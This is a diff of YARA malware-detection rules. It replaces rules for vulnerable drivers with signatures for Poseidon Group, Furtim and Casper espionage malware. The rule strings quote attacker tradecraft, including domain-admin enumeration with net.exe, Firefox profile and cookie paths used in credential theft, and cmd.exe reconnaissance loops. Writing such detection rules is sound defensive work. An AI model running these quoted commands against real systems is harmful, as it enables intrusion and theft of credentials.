+		modified = "2023-01-27"
+		reference = "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_poseidon_group.yar#L8-L48"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "315d540f2d2cb7b55e1a069cef8dd2eeceabcea4a428b33cf520a0f23d3819ea"
+		score = 85
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "337e94119cfad0b3144af81b72ac3b2688a219ffa0bdf23ca56c7a68fbe0aea4"
+		hash2 = "344034c0bf9fcd52883dbc158abf6db687150d40a118d9cd6ebd843e186128d3"
+		hash3 = "432b7f7f7bf94260a58ad720f61d91ba3289bf0a9789fc0c2b7ca900788dae61"
+		hash4 = "8955df76182005a69f19f5421c355f1868efe65d6b9e0145625dceda94b84a47"
+		hash5 = "d090b1d77e91848b1e2f5690b54360bbbd7ef808d017304389b90a0f8423367f"
+		hash6 = "d7c8b47a0d0a9181fb993f17e165d75a6be8cf11812d3baf7cf11d085e21d4fb"
+		hash7 = "ded0ee29af97496f27d810f6c16d78a3031d8c2193d5d2a87355f3e3ca58f9b3"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0033002e0032002e003100380020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0033002e0032002e00310038 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003900200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
+		$s1 = "c:\\winnt\\system32\\cmd.exe" fullword ascii
+		$s2 = "c:\\windows\\system32\\cmd.exe" fullword ascii
+		$s3 = "c:\\windows\\command.com" fullword ascii
+		$s4 = "copy \"%s\" \"%s\" /Y" fullword ascii
+		$s5 = "http://%s/files/" ascii
+		$s6 = "\"%s\". %s: \"%s\"." fullword ascii
+		$s7 = "0x0666" fullword ascii
+		$s8 = "----------------This_is_a_boundary$" fullword ascii
+		$s9 = "Server 2012" fullword ascii
+		$s10 = "Server 2008" fullword ascii
+		$s11 = "Server 2003" fullword ascii
+		$a1 = "net.exe group \"Domain Admins\" /domain" fullword ascii
+		$a2 = "net.exe group \"Admins. do Dom" fullword ascii
+		$a3 = "(SVRID=%d)" fullword ascii
+		$a4 = "(TG=%d)" fullword ascii
+		$a5 = "(SVR=%s)" fullword ascii
+		$a6 = "Set-Cookie:\\b*{.+?}\\n" fullword wide
+		$a7 = "net.exe localgroup Administradores" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		( uint16(0)==0x5a4d and filesize <650KB and 6 of ($s*)) or (4 of ($s*) and 1 of ($a*))
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Safenetinc_Hostnt_Hostnt_07B6 : FILE
+rule SIGNATURE_BASE_Poseidongroup_Maldoc_1 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HOSTNT.sys"
-		author = "Florian Roth"
-		id = "a1210220-529b-5103-888f-aaa707040eee"
-		date = "2023-06-14"
+		description = "Detects Poseidon Group - Malicious Word Document"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ab26455a-d468-5a75-a6e2-61701ca3a1df"
+		date = "2016-02-09"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2201-L2221"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "07b6d69bafcfd767f1b63a490a8843c3bb1f8e1bbea56176109b5743c8f7d357"
-		logic_hash = "b07f335b6941ef2095903cb8841358bff6b09518a96512d69fdf90bf328888e7"
-		score = 40
+		reference = "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_poseidon_group.yar#L50-L64"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0983526d7f0640e5765ded6be6c9e64869172a02c20023f8a006396ff358999b"
+		logic_hash = "0d8c255f56bb33b6a720c98727127c07a2d77245b18da381706a40339bebd20b"
+		score = 80
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0048006f00730074006e0074002000360034002d0062006900740020006400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053006100660065004e00650074002c00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0034002c00200030002c002000310036002c00200030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0034002c00200030002c002000310036002c00200030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0048006f00730074006e0074 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0048006f00730074006e0074 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0048006f00730074006e0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000200053006100660065004e00650074002c00200049006e0063002e }
+		$s1 = "c:\\cmd32dll.exe" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0xcfd0 and filesize <500KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Rivetnetworksllc_Kfecodrvsys_Killertrafficcontrol_9A91 : FILE
+rule SIGNATURE_BASE_Poseidongroup_Maldoc_2 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - KfeCo11X64.sys"
-		author = "Florian Roth"
-		id = "a8c05c92-a133-5f8f-bc4e-ff7e21f262e0"
-		date = "2023-06-14"
+		description = "Detects Poseidon Group - Malicious Word Document"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9fc0f25e-809d-5803-be39-740ce3a3c85a"
+		date = "2016-02-09"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2224-L2244"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9a91d6e83b8fdec536580f6617f10dfc64eedf14ead29a6a644eb154426622ba"
-		logic_hash = "29ba3734f177a3ca166a3c02d066da4b9e4cbd146724f037ac82e3ced1d7951e"
-		score = 40
+		reference = "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_poseidon_group.yar#L66-L89"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2c35077a4980336a2c50cade322861dc02f92f7617115420eebe7c882c2f620b"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "3e4cacab0ff950da1c6a1c640fe6cf5555b99e36d4e1cf5c45f04a2048f7620c"
+		hash2 = "1f77475d7740eb0c5802746d63e93218f16a7a19f616e8fddcbff07983b851af"
+		hash3 = "f028ee20363d3a17d30175508bbc4738dd8e245a94bfb200219a40464dd09b3a"
+		hash4 = "ec309300c950936a1b9f900aa30630b33723c42240ca4db978f2ca5e0f97afed"
+		hash5 = "27449198542fed64c23f583617908c8648fa4b4633bacd224f97e7f5d8b18778"
+		hash6 = "1e62629dae05bf7ee3fe1346faa60e6791c61f92dd921daa5ce2bdce2e9d4216"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004b0069006c006c006500720020005400720061006600660069006300200043006f006e00740072006f006c002000430061006c006c006f007500740020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200690076006500740020004e006500740077006f0072006b0073002c0020004c004c0043002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0039002e0038002e0034002e00350039 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0039002e0038002e0034002e00350039 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004b006600650043006f004400720076002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004b0069006c006c006500720020005400720061006600660069006300200043006f006e00740072006f006c }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004b006600650043006f004400720076002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310035002d00320030003100380020005200690076006500740020004e006500740077006f0072006b0073002c0020004c004c0043002e }
+		$s0 = "{\\*\\generator Msftedit 5.41." ascii
+		$s1 = "Attachment 1: Complete Professional Background" ascii
+		$s2 = "E-mail:  \\cf1\\ul\\f1"
+		$s3 = "Education:\\par" ascii
+		$s5 = "@gmail.com" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		uint32(0)==0x74725c7b and filesize <500KB and 3 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Zemanaltd_Zam_7CB5 : FILE
+rule SIGNATURE_BASE_Furtim_Nativedll : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
-		author = "Florian Roth"
-		id = "4af76d57-3f28-5d80-b72a-796f65942488"
-		date = "2023-06-14"
+		description = "Detects Furtim malware - file native.dll"
+		author = "Florian Roth (Nextron Systems)"
+		id = "4639b637-55d3-5591-9278-5a21de23ac72"
+		date = "2016-06-13"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2247-L2265"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7cb594af6a3655daebc9fad9c8abf2417b00ba31dcd118707824e5316fc0cc21"
-		logic_hash = "df3e79bf8db29cb712ac4fe3670954a0793d7d839f3368ad52e5f826afd18b7f"
-		score = 40
+		reference = "MISP 3971"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_furtim.yar#L8-L25"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f9673cdd1e8e38f98b9625291a03011d5cfce78c689eab491ff189c4e039e1ef"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "4f39d3e70ed1278d5fa83ed9f148ca92383ec662ac34635f7e56cc42eeaee948"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0030002e0030002e003000300030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0030002e0030002e003000300030 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s1 = "FqkVpTvBwTrhPFjfFF6ZQRK44hHl26" fullword ascii
+		$op0 = { e0 b3 42 00 c7 84 24 ac }
+		$op1 = { a1 e0 79 44 00 56 ff 90 10 01 00 00 a1 e0 79 44 }
+		$op2 = { bf d0 25 44 00 57 89 4d f0 ff 90 d4 02 00 00 59 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		uint16(0)==0x5a4d and filesize <900KB and $s1 or all of ($op*)
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Asrockincorporation_Asrautochkupddrvsys_Asrautochkupddrvdriver_2AA1 : FILE
+rule SIGNATURE_BASE_Furtim_Parent_1 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AsrAutoChkUpdDrv.sys"
-		author = "Florian Roth"
-		id = "78768248-afa1-5e3c-a9cd-c9ab73ea4f74"
-		date = "2023-06-14"
+		description = "Detects Furtim Parent Malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a47719d2-1e4f-50a9-b340-55e13f5a24d5"
+		date = "2016-07-16"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2268-L2288"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2aa1b08f47fbb1e2bd2e4a492f5d616968e703e1359a921f62b38b8e4662f0c4"
-		logic_hash = "87c0e6a3d0ff8f88e8f190c6b643adde45dc7d4c2aa73b79ba0f38a13bd86f1c"
-		score = 40
+		reference = "https://sentinelone.com/blogs/sfg-furtims-parent/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_furtim.yar#L34-L57"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ab4c7ca5c887b2a2f2949a5a6fd0d623dad47d9c1f866fb43f7f8ec38dfa6a02"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "766e49811c0bb7cce217e72e73a6aa866c15de0ba11d7dda3bd7e9ec33ed6963"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100730072004100750074006f00430068006b0055007000640044007200760020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530052006f0063006b00200049006e0063006f00720070006f0072006100740069006f006e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300030002e00300030002e00300030003000300020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300030002e00300030002e0030003000300030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100730072004100750074006f00430068006b005500700064004400720076002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100730072004100750074006f00430068006b0055007000640044007200760020004400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100730072004100750074006f00430068006b005500700064004400720076002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100320020004100530052006f0063006b00200049006e0063006f00720070006f0072006100740069006f006e }
+		$x1 = "dqrChZonUF" fullword ascii
+		$s1 = "Egistec" fullword wide
+		$s2 = "Copyright (C) 2016" fullword wide
+		$op1 = { c0 ea 02 88 55 f8 8a d1 80 e2 03 }
+		$op2 = { 5d fe 88 55 f9 8a d0 80 e2 0f c0 }
+		$op3 = { c4 0c 8a d9 c0 eb 02 80 e1 03 88 5d f8 8a d8 c0 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		( uint16(0)==0x5a4d and filesize <900KB and ($x1 or ( all of ($s*) and all of ($op*)))) or all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_97B3 : FILE
+rule SIGNATURE_BASE_Casper_Backdoor_X86 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "ef15eec0-caf8-58e9-9c63-cfee3275253d"
-		date = "2023-06-14"
-		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2291-L2312"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "97b32ddf83f75637e3ba934df117081dd6a1c57d47a4c9700d35e736da11d5bd"
-		hash = "89108a15f009b285db4ef94250b889d5b11b96b4aa7b190784a6d1396e893e10"
-		logic_hash = "800b43309abd2921378c28cace1ccfb2f7d3420c0f7059c9cbd7422095cbba43"
-		score = 40
+		description = "Casper French Espionage Malware - Win32/ProxyBot.B - x86 Payload http://goo.gl/VRJNLo"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9e54f00c-74a7-56cc-87e5-8dec1233cbb5"
+		date = "2015-03-05"
+		modified = "2023-01-27"
+		reference = "http://goo.gl/VRJNLo"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_casper.yar#L4-L35"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f4c39eddef1c7d99283c7303c1835e99d8e498b0"
+		logic_hash = "027457a3d86c0a7924fd6eb09c4a753cc846ba45f0b04257d9eec396bbc27f75"
+		score = 80
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00350030002e0030002e0031003000370030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00350030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000320020002d002000320030003100320020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s1 = "\"svchost.exe\"" fullword wide
+		$s2 = "firefox.exe" fullword ascii
+		$s3 = "\"Host Process for Windows Services\"" fullword wide
+		$x1 = "\\Users\\*" ascii
+		$x2 = "\\Roaming\\Mozilla\\Firefox\\Profiles\\*" ascii
+		$x3 = "\\Mozilla\\Firefox\\Profiles\\*" ascii
+		$x4 = "\\Documents and Settings\\*" ascii
+		$y1 = "%s; %S=%S" fullword wide
+		$y2 = "%s; %s=%s" fullword ascii
+		$y3 = "Cookie: %s=%s" fullword ascii
+		$y4 = "http://%S:%d" fullword wide
+		$z1 = "http://google.com/" ascii
+		$z2 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MALC)" fullword ascii
+		$z3 = "Operating System\"" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		( filesize <250KB and all of ($s*)) or (3 of ($x*) and 2 of ($y*) and 2 of ($z*))
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Novellinc_Novellxtier_2899 : FILE
+rule SIGNATURE_BASE_Casper_EXE_Dropper
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nscm.sys"
-		author = "Florian Roth"
-		id = "f1b0bccc-950b-5039-b181-fe4cee4e84b1"
-		date = "2023-06-14"
+		description = "Casper French Espionage Malware - Win32/ProxyBot.B - Dropper http://goo.gl/VRJNLo"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a901d045-6f9b-57e8-8347-6f78178b7231"
+		date = "2015-03-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2315-L2335"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "28999af32b55ddb7dcfc26376a244aa2fe297233ce7abe4919a1aef2f7e2cee7"
-		hash = "ce23c2dae4cca4771ea50ec737093dfafac06c64db0f924a1ccbbf687e33f5a2"
-		logic_hash = "cc5f7ae21d2025a266f826b65146f88ba439a63ebd868f663b7dd69c4b3be468"
-		score = 40
+		reference = "http://goo.gl/VRJNLo"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_casper.yar#L37-L58"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e4cc35792a48123e71a2c7b6aa904006343a157a"
+		logic_hash = "8ffba5598078fdadf2d9e8ee7fe0fef8b3b89517490a379d46cab33cd0036d6e"
+		score = 80
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c002000580054006900650072002000530065007300730069006f006e0020004d0061006e0061006700650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e0036002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e0036 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00730063006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000300038002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
+		$s0 = "<Command>" fullword ascii
+		$s1 = "</Command>" fullword ascii
+		$s2 = "\" /d \"" fullword ascii
+		$s4 = "'%s' %s" fullword ascii
+		$s5 = "nKERNEL32.DLL" fullword wide
+		$s6 = "@ReturnValue" fullword wide
+		$s7 = "ID: 0x%x" fullword ascii
+		$s8 = "Name: %S" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		7 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_818E : FILE
+rule SIGNATURE_BASE_Casper_Included_Strings : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "534b26bd-7298-5e16-ba49-f48b1bc405d7"
-		date = "2023-06-14"
+		description = "Casper French Espionage Malware - String Match in File - http://goo.gl/VRJNLo"
+		author = "Florian Roth (Nextron Systems)"
+		id = "34ba474d-0858-534a-8f32-db5a709e8814"
+		date = "2015-03-06"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2338-L2358"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "818e396595d08d724666803cd29dac566dc7db23bf50e9919d04b33afa988c01"
-		logic_hash = "de48cb605c339f13f94451361531ea2661d79311aacbb87878b24866766b6e3f"
-		score = 40
+		reference = "http://goo.gl/VRJNLo"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_casper.yar#L60-L83"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8796f45e459747db6bc08f362db7b152242f9f5bda3b72ddfc739cc9dcdfc55f"
+		score = 50
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e00330030002e0030002e0031003000370038 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e00330030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100370020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$a0 = "cmd.exe /C FOR /L %%i IN (1,1,%d) DO IF EXIST"
+		$a1 = "& SYSTEMINFO) ELSE EXIT"
+		$c1 = "domcommon.exe" wide fullword
+		$c2 = "jpic.gov.sy" fullword
+		$c3 = "aiomgr.exe" wide fullword
+		$c4 = "perfaudio.dat" fullword
+		$c5 = "Casper_DLL.dll" fullword
+		$c6 = { 7B 4B 59 DE 37 4A 42 26 59 98 63 C6 2D 0F 57 40 }
+		$c7 = "{4216567A-4512-9825-7745F856}" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and all of them
+		all of ($a*) or uint16(0)==0x5a4d and (1 of ($c*))
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_6FFD : FILE
+rule SIGNATURE_BASE_Casper_Systeminformation_Output
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "b0799b63-2938-586a-8a10-c3d9916b3d01"
-		date = "2023-06-14"
+		description = "Casper French Espionage Malware - System Info Output - http://goo.gl/VRJNLo"
+		author = "Florian Roth (Nextron Systems)"
+		id = "aaae200c-7ef1-52eb-be5b-36e0ad29ecef"
+		date = "2015-03-06"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2361-L2381"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6ffdde6bc6784c13c601442e47157062941c47015891e7139c2aaba676ab59cc"
-		logic_hash = "f8d629b1c9b785204c61c95ac83dc7516db14aa8abd68dc8cb5250d53408f20d"
-		score = 40
+		reference = "http://goo.gl/VRJNLo"
